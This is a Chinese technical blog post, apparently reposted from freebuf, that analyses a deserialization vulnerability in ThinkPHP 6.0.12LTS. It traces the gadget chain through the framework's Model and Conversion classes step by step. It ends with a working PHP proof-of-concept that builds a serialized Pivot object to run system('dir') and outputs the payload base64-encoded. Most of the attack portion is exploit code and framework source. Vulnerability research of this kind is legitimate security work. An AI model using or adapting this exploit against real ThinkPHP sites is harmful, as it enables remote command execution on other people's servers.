• ThinkPHP6.0.12LTS反序列漏洞分析


    环境

    Thinkphp6.0.12LTS(目前最新版本);

    PHP7.3.4。

    安装

    composer create-project topthink/think tp6
    

    测试代码

    image

    漏洞分析

    漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendor\topthink\think-orm\src\Model.php

    只要把this->lazySave设为True,就会调用了save方法。

    image

    跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法。

    image

    public function save(array $data = [], string $sequence = null): bool
        {
            // 数据对象赋值
            $this->setAttrs($data);
            if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
                return false;
            }
            $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
    

    跟进isEmpty方法,只要$this->data不为空就行。

    image

    $this->trigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。

    image

    protected function updateData(): bool
        {
            // 事件回调
            if (false === $this->trigger('BeforeUpdate')) {
                return false;
            }
            $this->checkData();
    
            // 获取有更新的数据
            $data = $this->getChangedData();
    
            if (empty($data)) {
                // 关联更新
                if (!empty($this->relationWrite)) {
                    $this->autoRelationUpdate();
                }
                return true;
            }
            if ($this->autoWriteTimestamp && $this->updateTime) {
                // 自动写入更新时间
                $data[$this->updateTime]       = $this->autoWriteTimestamp();
                $this->data[$this->updateTime] = $data[$this->updateTime];
            }
            // 检查允许字段
            $allowFields = $this->checkAllowFields();
    

    跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。

    image

    protected function checkAllowFields(): array
        {
            // 检测字段
            if (empty($this->field)) {
                if (!empty($this->schema)) {
                    $this->field = array_keys(array_merge($this->schema, $this->jsonType));
                } else {
                    $query = $this->db();
    

    跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。

    image

    public function db($scope = []): Query
        {
            /** @var Query $query */
            $query = self::$db->connect($this->connection)
                ->name($this->name . $this->suffix)
                ->pk($this->pk);
            if (!empty($this->table)) {
                $query->table($this->table . $this->suffix);
            }
    

    全局搜索__toString方法,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php类中的__toString方法。

    跟进__toString方法,调用了toJson方法。

    image

    跟进toJson方法,调用了toArray方法,然后以JSON格式返回。

    image

    跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行。

    image

    public function toArray(): array
        {
            $item       = [];
            $hasVisible = false;
    
            foreach ($this->visible as $key => $val) {
                if (is_string($val)) {
                    if (strpos($val, '.')) {
                        [$relation, $name]          = explode('.', $val);
                        $this->visible[$relation][] = $name;
                    } else {
                        $this->visible[$val] = true;
                        $hasVisible          = true;
                    }
                    unset($this->visible[$key]);
                }
            }
            foreach ($this->hidden as $key => $val) {
                if (is_string($val)) {
                    if (strpos($val, '.')) {
                        [$relation, $name]         = explode('.', $val);
                        $this->hidden[$relation][] = $name;
                    } else {
                        $this->hidden[$val] = true;
                    }
                    unset($this->hidden[$key]);
                }
            }
    
            // 合并关联数据
            $data = array_merge($this->data, $this->relation);
    
            foreach ($data as $key => $val) {
                if ($val instanceof Model || $val instanceof ModelCollection) {
                    // 关联模型对象
                    if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                        $val->visible($this->visible[$key]);
                    } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                        $val->hidden($this->hidden[$key]);
                    }
                    // 关联模型对象
                    if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                        $item[$key] = $val->toArray();
                    }
                } elseif (isset($this->visible[$key])) {
                    $item[$key] = $this->getAttr($key);
                } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                    $item[$key] = $this->getAttr($key);
    

    跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

    image

    public function getAttr(string $name)
        {
            try {
                $relation = false;
                $value    = $this->getData($name);
            } catch (InvalidArgumentException $e) {
                $relation = $this->isRelationAttr($name);
                $value    = null;
            }
    
            return $this->getValue($name, $value, $relation);
    

    跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法。

    image

    跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控。

    image

    跟进getValue方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,$this->withAttr$this->json都可控,可顺利进入getJsonValue方法。

    image

    protected function getValue(string $name, $value, $relation = false)
        {
            // 检测属性获取器
            $fieldName = $this->getRealFieldName($name);
    
            if (array_key_exists($fieldName, $this->get)) {
                return $this->get[$fieldName];
            }
    
            $method = 'get' . Str::studly($name) . 'Attr';
            if (isset($this->withAttr[$fieldName])) {
                if ($relation) {
                    $value = $this->getRelationValue($relation);
                }
                if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                    $value = $this->getJsonValue($fieldName, $value);
    

    跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssocTrue就行。

    $closure$value都可控。

    image

    protected function getJsonValue($name, $value)
        {
            if (is_null($value)) {
                return $value;
            }
    
            foreach ($this->withAttr[$name] as $key => $closure) {
                if ($this->jsonAssoc) {
                    $value[$key] = $closure($value[$key], $value);
    

    完整POP链条

    image

    POC编写

    <?php
    namespace think{
        abstract class Model{
            private $lazySave = false;
            private $data = [];
            private $exists = false;
            protected $table;
            private $withAttr = [];
            protected $json = [];
            protected $jsonAssoc = false;
            function __construct($obj = ''){
                $this->lazySave = True;
                $this->data = ['whoami' => ['dir']];
                $this->exists = True;
                $this->table = $obj;
                $this->withAttr = ['whoami' => ['system']];
                $this->json = ['whoami',['whoami']];
                $this->jsonAssoc = True;
            }
        }
    }
    namespace think\model{
        use think\Model;
        class Pivot extends Model{
        }
    }
    
    namespace{
        echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
    }
    

    利用

    image

    image

    转 https://www.freebuf.com/vuls/321546.html

  • 相关阅读:
    Java-->实现断点续传(下载)
    Java-->分割文件
    Java-->IO流模拟实现用户登录以及登录信息
    Java-->PrintStream
    Java-->一个只能运行十次的程序
    MySQL之数据类型
    【linux相识相知】网络属性配置
    MySQL之基本语句
    【linux相识相知】sed命令
    【Linux相识相知】yum的配置使用和程序包的编译安装
  • 原文地址:https://www.cnblogs.com/0daybug/p/16151797.html
Copyright © 2020-2023  润新知